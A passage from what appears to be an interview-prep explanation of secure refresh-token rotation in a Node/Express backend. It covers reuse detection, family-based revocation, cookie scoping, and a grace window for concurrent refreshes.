      await tx.query("UPDATE refresh_tokens SET revoked_at = now() WHERE family_id = $1",
        [rt.family_id]);
      return { status: 401, reuse: true, userId: rt.user_id };
    }

    await tx.query("UPDATE refresh_tokens SET used_at = now() WHERE id = $1", [rt.id]);
    const next = await issueRefresh(tx, rt.user_id, rt.family_id);
    return { status: 200, userId: rt.user_id, refresh: next };
  });

  if (result.reuse) logger.warn({ userId: result.userId }, "refresh token reuse detected");
  if (result.status !== 200) return res.clearCookie("rt", { path: "/auth" }).status(401).end();

  res.cookie("rt", result.refresh, {
    httpOnly: true, secure: true, sameSite: "strict", path: "/auth", maxAge: 30 * 864e5 });
  res.json({ accessToken: signAccessToken(result.userId) });   // 15 min JWT
});

Walking through the important bits: FOR UPDATE on the lookup serialises concurrent refreshes of the same token, so two requests can't both rotate it. Checking used_at is the reuse detection. Revoking by family_id kills the stolen chain without logging the user out of their other devices, since each login has its own family. The cookie is scoped to path: "/auth" so it's only sent to auth routes. Logout just revokes the family.

The gotcha I've actually hit: legitimate reuse. Two browser tabs refresh at the same moment, or the response with the new token gets lost on a bad mobile connection, and the client retries with the old one. Strict detection then logs real users out. The usual fix is a short grace window, say 10 to 30 seconds after used_at, during which presenting the old token just issues another token in the same family instead of triggering revocation. I can't hand back the exact token I issued, because I only stored its hash, but a fresh one works just as well. On the frontend, I'd also make refresh single-flight, so tabs share one refresh call.

Interviewers look for: hashed storage, token families, atomic rotation, and awareness of the concurrent-refresh false positive.